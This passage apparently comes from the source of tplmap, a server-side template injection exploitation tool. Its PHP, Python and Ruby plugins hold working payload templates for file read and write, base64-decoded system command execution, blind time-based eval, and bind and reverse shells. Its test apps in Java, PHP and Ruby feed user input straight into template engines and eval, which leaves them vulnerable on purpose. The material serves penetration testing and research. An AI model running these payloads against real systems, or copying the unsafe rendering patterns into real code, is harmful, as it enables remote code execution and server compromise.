25 | 'test_render_expected': '%(r1)s' % {
26 | 'r1' : rand.randints[0]
27 | }
28 | },
29 | 'write' : {
30 | 'call' : 'evaluate',
31 | 'write' : """$d="%(chunk_b64)s"; file_put_contents("%(path)s", base64_decode(str_pad(strtr($d, '-_', '+/'), strlen($d)%%4,'=',STR_PAD_RIGHT)),FILE_APPEND);""",
32 | 'truncate' : """file_put_contents("%(path)s", "");"""
33 | },
34 | 'read' : {
35 | 'call': 'evaluate',
36 | 'read' : """print(base64_encode(file_get_contents("%(path)s")));"""
37 | },
38 | 'md5' : {
39 | 'call': 'evaluate',
40 | 'md5': """is_file("%(path)s") && print(md5_file("%(path)s"));"""
41 | },
42 | 'evaluate' : {
43 | 'call': 'render',
44 | 'evaluate': """%(code)s""",
45 | 'test_os' : 'echo PHP_OS;',
46 | 'test_os_expected': '^[\w-]+$'
47 | },
48 | 'execute' : {
49 | 'call': 'evaluate',
50 | 'execute': """$d="%(code_b64)s";system(base64_decode(str_pad(strtr($d,'-_','+/'),strlen($d)%%4,'=',STR_PAD_RIGHT)));""",
51 | 'test_cmd': bash.echo % { 's1': rand.randstrings[2] },
52 | 'test_cmd_expected': rand.randstrings[2]
53 | },
54 | 'blind' : {
55 | 'call': 'evaluate_blind',
56 | 'test_bool_true' : """True""",
57 | 'test_bool_false' : """False"""
58 | },
59 | 'evaluate_blind' : {
60 | 'call': 'inject',
61 | 'evaluate_blind': """$d="%(code_b64)s";eval("return (" . base64_decode(str_pad(strtr($d, '-_', '+/'), strlen($d)%%4,'=',STR_PAD_RIGHT)) . ") && sleep(%(delay)i);");"""
62 | },
63 | 'execute_blind' : {
64 | 'call': 'inject',
65 | 'execute_blind': """$d="%(code_b64)s";system(base64_decode(str_pad(strtr($d, '-_', '+/'), strlen($d)%%4,'=',STR_PAD_RIGHT)). " && sleep %(delay)i");"""
66 | },
67 | 'bind_shell' : {
68 | 'call' : 'execute_blind',
69 | 'bind_shell': bash.bind_shell
70 | },
71 | 'reverse_shell' : {
72 | 'call': 'execute_blind',
73 | 'reverse_shell' : bash.reverse_shell
74 | },
75 | })
76 |
77 | self.set_contexts([
78 |
79 | # Text context, no closures
80 | { 'level': 0 },
81 |
82 | # This terminates the statement with ;
83 | { 'level': 1, 'prefix' : '%(closure)s;', 'suffix' : '//', 'closures' : ctx_closures },
84 |
85 | # This does not need termination e.g. if(%s) {}
86 | { 'level': 2, 'prefix' : '%(closure)s', 'suffix' : '//', 'closures' : ctx_closures },
87 |
88 | # Comment blocks
89 | { 'level': 5, 'prefix' : '*/', 'suffix' : '/*' },
90 |
91 | ])
92 |
93 | language = 'php'
94 |
95 |
96 | ctx_closures = {
97 | 1: [
98 | closures.close_single_duble_quotes + closures.integer,
99 | closures.close_function + closures.empty
100 | ],
101 | 2: [
102 | closures.close_single_duble_quotes + closures.integer + closures.string + closures.var,
103 | closures.close_function + closures.empty
104 | ],
105 | 3: [
106 | closures.close_single_duble_quotes + closures.integer + closures.string + closures.var,
107 | closures.close_function + closures.close_list + closures.close_dict + closures.empty
108 | ],
109 | 4: [
110 | closures.close_single_duble_quotes + closures.integer + closures.string + closures.var,
111 | closures.close_function + closures.close_list + closures.close_dict + closures.empty
112 | ],
113 | 5: [
114 | closures.close_single_duble_quotes + closures.integer + closures.string + closures.var,
115 | closures.close_function + closures.close_list + closures.close_dict + closures.empty,
116 | closures.close_function + closures.close_list + closures.empty,
117 | ]
118 | }
119 |
--------------------------------------------------------------------------------
/modules/tplmap/plugins/languages/python.py:
--------------------------------------------------------------------------------
1 | from utils.strings import quote
2 | from core.plugin import Plugin
3 | from utils import closures
4 | from plugins.languages import bash
5 | from utils.loggers import log
6 | from utils import rand
7 | import base64
8 | import re
9 |
10 | class Python(Plugin):
11 |
12 | def language_init(self):
13 |
14 | self.update_actions({
15 | 'render' : {
16 | 'render': """str(%(code)s)""",
17 | 'header': """'%(header)s'+""",
18 | 'trailer': """+'%(trailer)s'""",
19 | 'test_render': """'%(s1)s'.join('%(s2)s')""" % {
20 | 's1' : rand.randstrings[0],
21 | 's2' : rand.randstrings[1]
22 | },
23 | 'test_render_expected': '%(res)s' % {
24 | 'res' : rand.randstrings[0].join(rand.randstrings[1])
25 | }
26 | },
27 | 'write' : {
28 | 'call' : 'evaluate',
29 | 'write' : """open("%(path)s", 'ab+').write(__import__("base64").urlsafe_b64decode('%(chunk_b64)s'))""",
30 | 'truncate' : """open("%(path)s", 'w').close()"""
31 | },
32 | 'read' : {
33 | 'call': 'evaluate',
34 | 'read' : """__import__("base64").b64encode(open("%(path)s", "rb").read())"""
35 | },
36 | 'md5' : {
37 | 'call': 'evaluate',
38 | 'md5': """__import__("hashlib").md5(open("%(path)s", 'rb').read()).hexdigest()"""
39 | },
40 | 'evaluate' : {
41 | 'call': 'render',
42 | 'evaluate': """%(code)s""",
43 | 'test_os': """'-'.join([__import__('os').name, __import__('sys').platform])""",
44 | 'test_os_expected': '^[\w-]+$'
45 | },
46 | 'execute' : {
47 | 'call': 'evaluate',
48 | 'execute': """__import__('os').popen(__import__('base64').urlsafe_b64decode('%(code_b64)s').decode()).read()""",
49 | 'test_cmd': bash.echo % { 's1': rand.randstrings[2] },
50 | 'test_cmd_expected': rand.randstrings[2]
51 | },
52 | 'blind' : {
53 | 'call': 'evaluate_blind',
54 | 'test_bool_true' : """'a'.join('ab') == 'aab'""",
55 | 'test_bool_false' : 'True == False'
56 | },
57 | 'evaluate_blind' : {
58 | 'call': 'evaluate',
59 | 'evaluate_blind': """eval(__import__('base64').urlsafe_b64decode('%(code_b64)s').decode()) and __import__('time').sleep(%(delay)i)"""
60 | },
61 | 'bind_shell' : {
62 | 'call' : 'execute_blind',
63 | 'bind_shell': bash.bind_shell
64 | },
65 | 'reverse_shell' : {
66 | 'call': 'execute_blind',
67 | 'reverse_shell' : bash.reverse_shell
68 | },
69 | 'execute_blind' : {
70 | 'call': 'evaluate',
71 | 'execute_blind': """__import__('os').popen(__import__('base64').urlsafe_b64decode('%(code_b64)s').decode() + ' && sleep %(delay)i').read()"""
72 | },
73 | })
74 |
75 | self.set_contexts([
76 |
77 | # Text context, no closures
78 | { 'level': 0 },
79 |
80 | # Code context escape with eval() injection is not easy, since eval is used to evaluate a single
81 | # dynamically generated Python expression e.g. eval("""1;print 1"""); would fail.
82 |
83 | # TODO: the plugin should support the exec() injections, which can be assisted by code context escape
84 |
85 | ])
86 |
87 | language = 'python'
88 |
89 |
90 | ctx_closures = {
91 | 1: [
92 | closures.close_single_duble_quotes + closures.integer,
93 | closures.close_function + closures.empty
94 | ],
95 | 2: [
96 | closures.close_single_duble_quotes + closures.integer + closures.string,
97 | closures.close_function + closures.empty
98 | ],
99 | 3: [
100 | closures.close_single_duble_quotes + closures.integer + closures.string + closures.close_triple_quotes,
101 | closures.close_function + closures.close_list + closures.close_dict + closures.empty
102 | ],
103 | 4: [
104 | closures.close_single_duble_quotes + closures.integer + closures.string + closures.close_triple_quotes,
105 | closures.close_function + closures.close_list + closures.close_dict + closures.empty
106 | ],
107 | 5: [
108 | closures.close_single_duble_quotes + closures.integer + closures.string + closures.close_triple_quotes,
109 | closures.close_function + closures.close_list + closures.close_dict + closures.empty,
110 | closures.close_function + closures.close_list + closures.empty,
111 | closures.if_loops + closures.empty
112 | ],
113 | }
114 |
115 |
--------------------------------------------------------------------------------
/modules/tplmap/plugins/languages/ruby.py:
--------------------------------------------------------------------------------
1 | from utils.strings import quote
2 | from core.plugin import Plugin
3 | from plugins.languages import bash
4 | from utils.loggers import log
5 | from utils import rand
6 | import base64
7 | import re
8 |
9 | class Ruby(Plugin):
10 |
11 | def language_init(self):
12 |
13 | self.update_actions({
14 | 'render' : {
15 | 'render': '"#{%(code)s}"',
16 | 'header': """'%(header)s'+""",
17 | 'trailer': """+'%(trailer)s'""",
18 | 'test_render': """%(s1)i*%(s2)i""" % {
19 | 's1' : rand.randints[0],
20 | 's2' : rand.randints[1]
21 | },
22 | 'test_render_expected': '%(res)s' % {
23 | 'res' : rand.randints[0]*rand.randints[1]
24 | }
25 | },
26 | 'write' : {
27 | 'call' : 'inject',
28 | 'write': """require'base64';File.open('%(path)s', 'ab+') {|f| f.write(Base64.urlsafe_decode64('%(chunk_b64)s')) }""",
29 | 'truncate' : """File.truncate('%(path)s', 0)"""
30 | },
31 | 'read' : {
32 | 'call': 'evaluate',
33 | 'read': """(require'base64';Base64.encode64(File.binread("%(path)s"))).to_s""",
34 | },
35 | 'md5' : {
36 | 'call': 'evaluate',
37 | 'md5': """(require'digest';Digest::MD5.file("%(path)s")).to_s"""
38 | },
39 | 'evaluate' : {
40 | 'call': 'render',
41 | 'evaluate': """%(code)s""",
42 | 'test_os' : """RUBY_PLATFORM""",
43 | 'test_os_expected': '^[\w._-]+$'
44 | },
45 | 'execute' : {
46 | 'call': 'evaluate',
47 | 'execute': """(require'base64';%%x(#{Base64.urlsafe_decode64('%(code_b64)s')})).to_s""",
48 | 'test_cmd': bash.echo % { 's1': rand.randstrings[2] },
49 | 'test_cmd_expected': rand.randstrings[2]
50 | },
51 | 'blind' : {
52 | 'call': 'evaluate_blind',
53 | 'test_bool_true' : """1.to_s=='1'""",
54 | 'test_bool_false' : """1.to_s=='2'"""
55 | },
56 | 'evaluate_blind' : {
57 | 'call': 'inject',
58 | 'evaluate_blind': """require'base64';eval(Base64.urlsafe_decode64('%(code_b64)s'))&&sleep(%(delay)i)"""
59 | },
60 | 'bind_shell' : {
61 | 'call' : 'execute_blind',
62 | 'bind_shell': bash.bind_shell
63 | },
64 | 'reverse_shell' : {
65 | 'call': 'execute_blind',
66 | 'reverse_shell' : bash.reverse_shell
67 | },
68 | 'execute_blind' : {
69 | 'call': 'inject',
70 | 'execute_blind': """require'base64';%%x(#{Base64.urlsafe_decode64('%(code_b64)s')+' && sleep %(delay)i'})"""
71 | },
72 | })
73 |
74 | self.set_contexts([
75 |
76 | # Text context, no closures
77 | { 'level': 0 },
78 | ])
79 |
80 | language = 'ruby'
81 |
--------------------------------------------------------------------------------
/modules/tplmap/requirements.txt:
--------------------------------------------------------------------------------
1 | PyYAML==3.12
2 | certifi==2017.11.5
3 | chardet==3.0.4
4 | idna==2.6
5 | requests==2.18.4
6 | urllib3==1.22
7 | wsgiref==0.1.2
8 |
--------------------------------------------------------------------------------
/modules/tplmap/tests/env_java_tests/spark-app/build.gradle:
--------------------------------------------------------------------------------
1 | plugins {
2 | id "java"
3 | id "application"
4 | id "com.github.johnrengelman.shadow" version "1.2.3"
5 | }
6 |
7 | group 'org.tplmap.webframeworks'
8 | version '1.0-SNAPSHOT'
9 |
10 |
11 | sourceCompatibility = 1.8
12 | mainClassName = 'org.tplmap.webframeworks.SparkApplication'
13 |
14 |
15 | repositories {
16 | jcenter()
17 | mavenCentral()
18 | }
19 |
20 | dependencies {
21 | compile 'com.sparkjava:spark-core:2.3'
22 | compile group: 'org.freemarker', name: 'freemarker', version: '2.3.14'
23 | compile group: 'org.apache.velocity', name: 'velocity', version: '1.6.2'
24 | testCompile group: 'junit', name: 'junit', version: '4.11'
25 | }
26 |
--------------------------------------------------------------------------------
/modules/tplmap/tests/env_java_tests/spark-app/gradle/wrapper/gradle-wrapper.properties:
--------------------------------------------------------------------------------
1 | #Wed Feb 17 14:28:33 EET 2016
2 | distributionBase=GRADLE_USER_HOME
3 | distributionPath=wrapper/dists
4 | zipStoreBase=GRADLE_USER_HOME
5 | zipStorePath=wrapper/dists
6 | distributionUrl=https\://services.gradle.org/distributions/gradle-2.5-all.zip
7 |
--------------------------------------------------------------------------------
/modules/tplmap/tests/env_java_tests/spark-app/settings.gradle:
--------------------------------------------------------------------------------
1 | rootProject.name = 'spark-app'
2 |
3 |
--------------------------------------------------------------------------------
/modules/tplmap/tests/env_java_tests/spark-app/src/main/java/org/tplmap/webframeworks/SparkApplication.java:
--------------------------------------------------------------------------------
1 | package org.tplmap.webframeworks;
2 | import spark.Request;
3 | import spark.Response;
4 | import spark.Route;
5 | import freemarker.template.Configuration;
6 | import freemarker.template.Template;
7 | import freemarker.template.TemplateException;
8 | import java.io.StringReader;
9 | import java.io.IOException;
10 | import java.io.StringWriter;
11 | import java.util.HashMap;
12 | import org.apache.velocity.VelocityContext ;
13 | import org.apache.velocity.app.VelocityEngine ;
14 | import org.apache.velocity.exception.MethodInvocationException ;
15 | import org.apache.velocity.exception.ParseErrorException ;
16 | import org.apache.velocity.exception.ResourceNotFoundException ;
17 | import org.apache.velocity.runtime.RuntimeConstants ;
18 | import org.apache.velocity.runtime.log.LogChute ;
19 | import org.apache.velocity.runtime.log.NullLogChute ;
20 | import java.util.UUID;
21 |
22 | import static spark.Spark.*;
23 |
24 | public class SparkApplication {
25 |
26 | public static void main(String[] args) {
27 | port(15003);
28 | get("/freemarker", SparkApplication::freemarker);
29 | get("/velocity", SparkApplication::velocity);
30 | }
31 |
32 | public static Object velocity(Request request, Response response) {
33 |
34 |
35 | // Get inj parameter, exit if none
36 | String inj = request.queryParams("inj");
37 | if(inj == null) {
38 | return "";
39 | }
40 |
41 | // Get tpl parameter
42 | String tpl = request.queryParams("tpl");
43 |
44 | // If tpl exists
45 | if(tpl != null && !tpl.isEmpty()) {
46 | // Keep the formatting a-la-python
47 | tpl = tpl.replace("%s", inj);
48 | }
49 | else {
50 | tpl = inj;
51 | }
52 |
53 | String blind = request.queryParams("blind");
54 |
55 | LogChute velocityLogChute = new NullLogChute() ;
56 | VelocityEngine velocity;
57 | StringWriter w;
58 | try{
59 | velocity = new VelocityEngine() ;
60 | // Turn off logging - catch exceptions and log ourselves
61 | velocity.setProperty(RuntimeConstants.RUNTIME_LOG_LOGSYSTEM, velocityLogChute) ;
62 | velocity.setProperty(RuntimeConstants.INPUT_ENCODING, "UTF-8") ;
63 | velocity.init() ;
64 |
65 | VelocityContext context = new VelocityContext();
66 | w = new StringWriter();
67 |
68 | velocity.evaluate( context, w, "mystring", tpl );
69 |
70 |
71 | }catch(Exception e){
72 | e.printStackTrace();
73 | return "";
74 | }
75 |
76 | // Return out string if not blind
77 | if(blind == null){
78 | return UUID.randomUUID().toString() + w.toString() + UUID.randomUUID().toString();
79 | }
80 | else {
81 | return UUID.randomUUID().toString();
82 | }
83 | }
84 |
85 | public static Object freemarker(Request request, Response response) {
86 |
87 | // Get inj parameter, exit if none
88 | String inj = request.queryParams("inj");
89 | if(inj == null) {
90 | return "";
91 | }
92 |
93 | // Get tpl parameter
94 | String tpl = request.queryParams("tpl");
95 |
96 | // If tpl exists
97 | if(tpl != null && !tpl.isEmpty()) {
98 | // Keep the formatting a-la-python
99 | tpl = tpl.replace("%s", inj);
100 | }
101 | else {
102 | tpl = inj;
103 | }
104 |
105 | // Get blind parameter
106 | String blind = request.queryParams("blind");
107 |
108 | // Generate template from "inj"
109 | Template template;
110 | try{
111 | template = new Template("name", new StringReader(tpl), new Configuration());
112 | }catch(IOException e){
113 | e.printStackTrace();
114 | return "";
115 | }
116 |
117 | // Write processed template to out
118 | HashMap data = new HashMap();
119 | StringWriter out = new StringWriter();
120 | try{
121 | template.process(data, out);
122 | }catch(TemplateException | IOException e){
123 | e.printStackTrace();
124 | return "";
125 | }
126 |
127 | // Return out string if not blind
128 | if(blind == null){
129 | return UUID.randomUUID().toString() + out.toString() + UUID.randomUUID().toString();
130 | }
131 | else {
132 | return UUID.randomUUID().toString();
133 | }
134 | }
135 | }
136 |
--------------------------------------------------------------------------------
/modules/tplmap/tests/env_java_tests/spark-app/src/main/resources/templates/hello.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Hello world
6 |
7 |
8 | Hello, [[${name}]]!
9 |
10 |
--------------------------------------------------------------------------------
/modules/tplmap/tests/env_php_tests/eval.php:
--------------------------------------------------------------------------------
1 | : ' . $rendered);
21 | echo generateRandomString();
22 | }
23 | else {
24 | error_log('DEBUG< : ' . $tpl);
25 | ob_start();
26 | $rendered = eval($tpl);
27 | ob_end_clean();
28 | error_log('DEBUG> : ' . $rendered);
29 | echo generateRandomString();
30 | }
31 | ?>
32 |
--------------------------------------------------------------------------------
/modules/tplmap/tests/env_php_tests/smarty-3.1.32-secured.php:
--------------------------------------------------------------------------------
1 | clearAllCache();
12 |
13 | $inj=$_GET["inj"];
14 | if(isset($_GET["tpl"]) && $_GET["tpl"] != "") {
15 | // Keep the formatting a-la-python
16 | $tpl=str_replace("%s", $inj, $_GET["tpl"]);
17 | }
18 | else {
19 | $tpl=$inj;
20 | }
21 |
22 | error_log('DEBUG< : ' . $tpl);
23 | $rendered = $smarty->fetch('string:'.$tpl);
24 | error_log('DEBUG> : ' . $rendered);
25 |
26 | if(!$_GET["blind"]) {
27 | echo generateRandomString() . $rendered . generateRandomString();
28 | }
29 | else {
30 | echo generateRandomString();
31 | }
32 | ?>
33 |
--------------------------------------------------------------------------------
/modules/tplmap/tests/env_php_tests/smarty-3.1.32-unsecured.php:
--------------------------------------------------------------------------------
1 | clearAllCache();
12 |
13 | // Run render via CLI
14 | if (php_sapi_name() == "cli") {
15 | $_GET["inj"] = '';
16 | $_GET["tpl"] = '';
17 | }
18 |
19 | $inj=$_GET["inj"];
20 | if(isset($_GET["tpl"]) && $_GET["tpl"] != "") {
21 | // Keep the formatting a-la-python
22 | $tpl=str_replace("%s", $inj, $_GET["tpl"]);
23 | }
24 | else {
25 | $tpl=$inj;
26 | }
27 |
28 | error_log('DEBUG< : ' . $tpl);
29 | $rendered = $smarty->fetch('string:'.$tpl);
30 | error_log('DEBUG> : ' . $rendered);
31 |
32 | if(!$_GET["blind"]) {
33 | echo generateRandomString() . $rendered . generateRandomString();
34 | }
35 | else {
36 | echo generateRandomString();
37 | }
38 | ?>
39 |
--------------------------------------------------------------------------------
/modules/tplmap/tests/env_php_tests/twig-1.19.0-unsecured.php:
--------------------------------------------------------------------------------
1 | $tpl,
27 | ));
28 | $twig = new Twig_Environment($loader);
29 |
30 | error_log('DEBUG<: ' . $tpl);
31 | $rendered = $twig->render('tpl');
32 | error_log('DEBUG> : ' . $rendered);
33 |
34 | if(!$_GET["blind"]) {
35 | echo generateRandomString() . $rendered . generateRandomString();
36 | }
37 | else {
38 | echo generateRandomString();
39 | }
40 | ?>
41 |
--------------------------------------------------------------------------------
/modules/tplmap/tests/env_php_tests/twig-1.20.0-secured.php:
--------------------------------------------------------------------------------
1 | $tpl,
27 | ));
28 | $twig = new Twig_Environment($loader);
29 |
30 | error_log('DEBUG<: ' . $tpl);
31 | $rendered = $twig->render('tpl');
32 | error_log('DEBUG> : ' . $rendered);
33 |
34 | if(!$_GET["blind"]) {
35 | echo generateRandomString() . $rendered . generateRandomString();
36 | }
37 | else {
38 | echo generateRandomString();
39 | }
40 | ?>
41 |
--------------------------------------------------------------------------------
/modules/tplmap/tests/env_ruby_tests/config.ru:
--------------------------------------------------------------------------------
1 | require "./webserver"
2 |
3 | run Cuba
--------------------------------------------------------------------------------
/modules/tplmap/tests/env_ruby_tests/webserver.rb:
--------------------------------------------------------------------------------
1 | require "cuba"
2 | require "cuba/safe"
3 |
4 | require 'tilt'
5 | require 'slim'
6 | require 'erb'
7 |
8 | Cuba.plugin Cuba::Safe
9 |
10 | Cuba.define do
11 | on get do
12 | on "reflect/:engine" do |engine|
13 | # Keep the formatting a-la-python
14 | on param("inj"), param("tpl", "%s") do |inj, tpl|
15 |
16 | tpl = tpl.gsub('%s', inj)
17 |
18 | case engine
19 | when "eval"
20 | res.write eval(tpl)
21 | when "slim"
22 | template = Tilt['slim'].new() {|x| tpl}
23 | res.write template.render
24 | when "erb"
25 | template = Tilt['erb'].new() {|x| tpl}
26 | res.write template.render
27 | else
28 | res.write "#{engine} #{inj} #{tpl}"
29 | end
30 |
31 | end
32 | end
33 | on "blind/:engine" do |engine|
34 | # Keep the formatting a-la-python
35 | on param("inj"), param("tpl", "%s") do |inj, tpl|
36 |
37 | tpl = tpl.gsub('%s', inj)
38 |
39 | case engine
40 | when "eval"
41 | eval(tpl)
42 | when "slim"
43 | template = Tilt['slim'].new() {|x| tpl}
44 | template.render
45 | when "erb"
46 | template = Tilt['erb'].new() {|x| tpl}
47 | template.render
48 | else
49 | res.write "blind #{engine} #{inj} #{tpl}"
50 | end
51 |
52 | res.write "ok"; # for set 200 response status code
53 |
54 | end
55 | end
56 | on 'shutdown' do
57 | exit!
58 | end
59 | end
60 | end
61 |
--------------------------------------------------------------------------------
/modules/tplmap/tests/run_channel_test.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash -e
2 |
3 | INSTANCE_NAME="tplmap-py"
4 | IMAGE_NAME="tplmap-py-img"
5 | PORT=15001
6 |
7 | echo "Exposed testing APIs:
8 |
9 | http://localhost:15001/reflect/mako?inj=*
10 | http://localhost:15001/reflect/jinja2?inj=*
11 | http://localhost:15001/post/mako?inj=*
12 | http://localhost:15001/post/jinja2?inj=*
13 | http://localhost:15001/limit/mako?inj=*
14 | http://localhost:15001/limit/jinja2?inj=*
15 | http://localhost:15001/put/mako?inj=*
16 | http://localhost:15001/put/jinja2?inj=*
17 | "
18 |
19 | cd "$( dirname "${BASH_SOURCE[0]}" )"/../
20 |
21 | docker rm -f $INSTANCE_NAME || echo ''
22 | docker build -f docker-envs/Dockerfile.python2 . -t $IMAGE_NAME
23 | docker run --rm --name $INSTANCE_NAME -p $PORT:$PORT -d $IMAGE_NAME
24 |
25 | # Wait until the http server is serving
26 | until $(curl --output /dev/null --silent --head http://localhost:$PORT/); do
27 | sleep 1
28 | done
29 |
30 | # Launch python engines tests
31 | docker exec -it $INSTANCE_NAME python -m unittest discover -v . 'test_channel*.py'
32 |
33 | docker stop $INSTANCE_NAME
--------------------------------------------------------------------------------
/modules/tplmap/tests/run_java_tests.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash -e
2 |
3 | INSTANCE_NAME="tplmap-java"
4 | IMAGE_NAME="tplmap-java-img"
5 | PORT=15003
6 |
7 | echo "Exposed testing APIs:
8 |
9 | http://localhost:15003/velocity?inj=*
10 | http://localhost:15003/velocity?inj=*&blind=1
11 | http://localhost:15003/freemarker?inj=*
12 | http://localhost:15003/freemarker?inj=*&blind=1
13 | "
14 |
15 | cd "$( dirname "${BASH_SOURCE[0]}" )"/../
16 |
17 | docker rm -f $INSTANCE_NAME || echo ''
18 | docker build -f docker-envs/Dockerfile.java . -t $IMAGE_NAME
19 | docker run --rm --name $INSTANCE_NAME -p $PORT:$PORT -d $IMAGE_NAME
20 |
21 | # Wait until the http server is serving
22 | until $(curl --output /dev/null --silent --head http://localhost:$PORT/); do
23 | sleep 1
24 | done
25 | sleep 1
26 |
27 | # Launch Java engines tests
28 | docker exec -it $INSTANCE_NAME python -m unittest discover -v . 'test_java_*.py'
29 |
30 | docker stop $INSTANCE_NAME
--------------------------------------------------------------------------------
/modules/tplmap/tests/run_node_tests.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash -e
2 |
3 | INSTANCE_NAME="tplmap-node"
4 | IMAGE_NAME="tplmap-node-img"
5 | PORT=15004
6 |
7 | echo "Exposed testing APIs:
8 |
9 | http://localhost:15004/pug?inj=*
10 | http://localhost:15004/blind/pug?inj=*
11 | http://localhost:15004/nunjucks?inj=*
12 | http://localhost:15004/blind/nunjucks?inj=*
13 | http://localhost:15004/javascript?inj=*
14 | http://localhost:15004/blind/javascript?inj=*
15 | http://localhost:15004/dot?inj=*
16 | http://localhost:15004/blind/dot?inj=*
17 | http://localhost:15004/dust?inj=*
18 | http://localhost:15004/blind/dust?inj=*
19 | http://localhost:15004/marko?inj=*
20 | http://localhost:15004/blind/marko?inj=*
21 | http://localhost:15004/ejs?inj=*
22 | http://localhost:15004/blind/ejs?inj=*
23 | "
24 |
25 | cd "$( dirname "${BASH_SOURCE[0]}" )"/../
26 |
27 | docker rm -f $INSTANCE_NAME || echo ''
28 | docker build -f docker-envs/Dockerfile.node . -t $IMAGE_NAME
29 | docker run --rm --name $INSTANCE_NAME -p $PORT:$PORT -d $IMAGE_NAME
30 |
31 | # Wait until the http server is serving
32 | until $(curl --output /dev/null --silent --head http://localhost:$PORT/); do
33 | sleep 1
34 | done
35 |
36 | # Launch node engines tests
37 | docker exec -it $INSTANCE_NAME python -m unittest discover -v . 'test_node_*.py'
38 |
39 | docker stop $INSTANCE_NAME
--------------------------------------------------------------------------------
/modules/tplmap/tests/run_php_tests.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash -e
2 |
3 | INSTANCE_NAME="tplmap-php"
4 | IMAGE_NAME="tplmap-php-img"
5 | PORT=15002
6 |
7 | echo "Exposed testing APIs:
8 |
9 | http://localhost:15002/smarty-3.1.32-secured.php?inj=*
10 | http://localhost:15002/smarty-3.1.32-unsecured.php?inj=*
11 | http://localhost:15002/smarty-3.1.32-unsecured.php?inj=*&blind=1
12 | http://localhost:15002/twig-1.24.1-secured.php?inj=*
13 | http://localhost:15002/eval.php?inj=*
14 | http://localhost:15002/eval.php?inj=*&blind=1
15 | "
16 |
17 | cd "$( dirname "${BASH_SOURCE[0]}" )"/../
18 |
19 | docker rm -f $INSTANCE_NAME || echo ''
20 | docker build -f docker-envs/Dockerfile.php . -t $IMAGE_NAME
21 | docker run --rm --name $INSTANCE_NAME -p $PORT:$PORT -d $IMAGE_NAME
22 |
23 | # Wait until the http server is serving
24 | until $(curl --output /dev/null --silent --head http://localhost:$PORT/); do
25 | sleep 1
26 | done
27 |
28 | # Launch PHP engines tests
29 | docker exec -it $INSTANCE_NAME python -m unittest discover -v . 'test_php_*.py'
30 |
31 | docker stop $INSTANCE_NAME
--------------------------------------------------------------------------------
/modules/tplmap/tests/run_python2_tests.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash -e
2 |
3 | INSTANCE_NAME="tplmap-py2"
4 | IMAGE_NAME="tplmap-py2-img"
5 | PORT=15001
6 |
7 | echo "Exposed testing APIs:
8 |
9 | http://localhost:15001/reflect/mako?inj=*
10 | http://localhost:15001/reflect/jinja2?inj=*
11 | http://localhost:15001/post/mako?inj=*
12 | http://localhost:15001/post/jinja2?inj=*
13 | http://localhost:15001/limit/mako?inj=*
14 | http://localhost:15001/limit/jinja2?inj=*
15 | http://localhost:15001/put/mako?inj=*
16 | http://localhost:15001/put/jinja2?inj=*
17 | "
18 |
19 | cd "$( dirname "${BASH_SOURCE[0]}" )"/../
20 |
21 | docker rm -f $INSTANCE_NAME || echo ''
22 | docker build -f docker-envs/Dockerfile.python2 . -t $IMAGE_NAME
23 | docker run --rm --name $INSTANCE_NAME -p $PORT:$PORT -d $IMAGE_NAME
24 |
25 | # Wait until the http server is serving
26 | until $(curl --output /dev/null --silent --head http://localhost:$PORT/); do
27 | sleep 1
28 | done
29 |
30 | # Launch python engines tests
31 | docker exec -it $INSTANCE_NAME python -m unittest discover -v . 'test_py_*.py'
32 |
33 | docker stop $INSTANCE_NAME
--------------------------------------------------------------------------------
/modules/tplmap/tests/run_python3_tests.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash -e
2 |
3 | INSTANCE_NAME="tplmap-py3"
4 | IMAGE_NAME="tplmap-py3-img"
5 | GUESTPORT=15001
6 | PORT=15006
7 |
8 | echo "Exposed testing APIs:
9 |
10 | http://localhost:15006/reflect/mako?inj=*
11 | http://localhost:15006/reflect/jinja2?inj=*
12 | http://localhost:15006/post/mako?inj=*
13 | http://localhost:15006/post/jinja2?inj=*
14 | http://localhost:15006/limit/mako?inj=*
15 | http://localhost:15006/limit/jinja2?inj=*
16 | http://localhost:15006/put/mako?inj=*
17 | http://localhost:15006/put/jinja2?inj=*
18 | "
19 |
20 | cd "$( dirname "${BASH_SOURCE[0]}" )"/../
21 |
22 | docker rm -f $INSTANCE_NAME || echo ''
23 | docker build -f docker-envs/Dockerfile.python3 . -t $IMAGE_NAME
24 | docker run --rm --name $INSTANCE_NAME -p $PORT:$GUESTPORT -d $IMAGE_NAME
25 |
26 | # Wait until the http server is serving
27 | until $(curl --output /dev/null --silent --head http://localhost:$PORT/); do
28 | sleep 1
29 | done
30 |
31 | # Launch python engines tests
32 | docker exec -it $INSTANCE_NAME python2 -m unittest discover -v . 'test_py_*.py'
33 |
34 | docker stop $INSTANCE_NAME
--------------------------------------------------------------------------------
/modules/tplmap/tests/run_ruby_tests.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash -e
2 |
3 | INSTANCE_NAME="tplmap-ruby"
4 | IMAGE_NAME="tplmap-ruby-img"
5 | PORT=15005
6 |
7 | echo "Exposed testing APIs:
8 |
9 | http://localhost:15005/reflect/eval?inj=*
10 | http://localhost:15005/blind/eval?inj=*
11 | http://localhost:15005/reflect/slim?inj=*
12 | http://localhost:15005/blind/slim?inj=*
13 | http://localhost:15005/reflect/erb?inj=*
14 | http://localhost:15005/blind/erb?inj=*
15 | "
16 |
17 | cd "$( dirname "${BASH_SOURCE[0]}" )"/../
18 |
19 | docker rm -f $INSTANCE_NAME || echo ''
20 | docker build -f docker-envs/Dockerfile.ruby . -t $IMAGE_NAME
21 | docker run --rm --name $INSTANCE_NAME -p $PORT:$PORT -d $IMAGE_NAME
22 |
23 | # Wait until the http server is serving
24 | until $(curl --output /dev/null --silent --head http://localhost:$PORT/); do
25 | sleep 1
26 | done
27 |
28 | # Launch ruby engines tests
29 | docker exec -it $INSTANCE_NAME python -m unittest discover -v . 'test_ruby_*.py'
30 |
31 | docker stop $INSTANCE_NAME
--------------------------------------------------------------------------------
/modules/tplmap/tests/test_java_freemarker.py:
--------------------------------------------------------------------------------
1 | import unittest
2 | import requests
3 | import os
4 | import sys
5 |
6 | sys.path.insert(1, os.path.join(sys.path[0], '..'))
7 | from plugins.engines.freemarker import Freemarker
8 | from basetest import BaseTest
9 |
10 | class FreemarkerTest(unittest.TestCase, BaseTest):
11 |
12 |
13 | expected_data = {
14 | 'language': 'java',
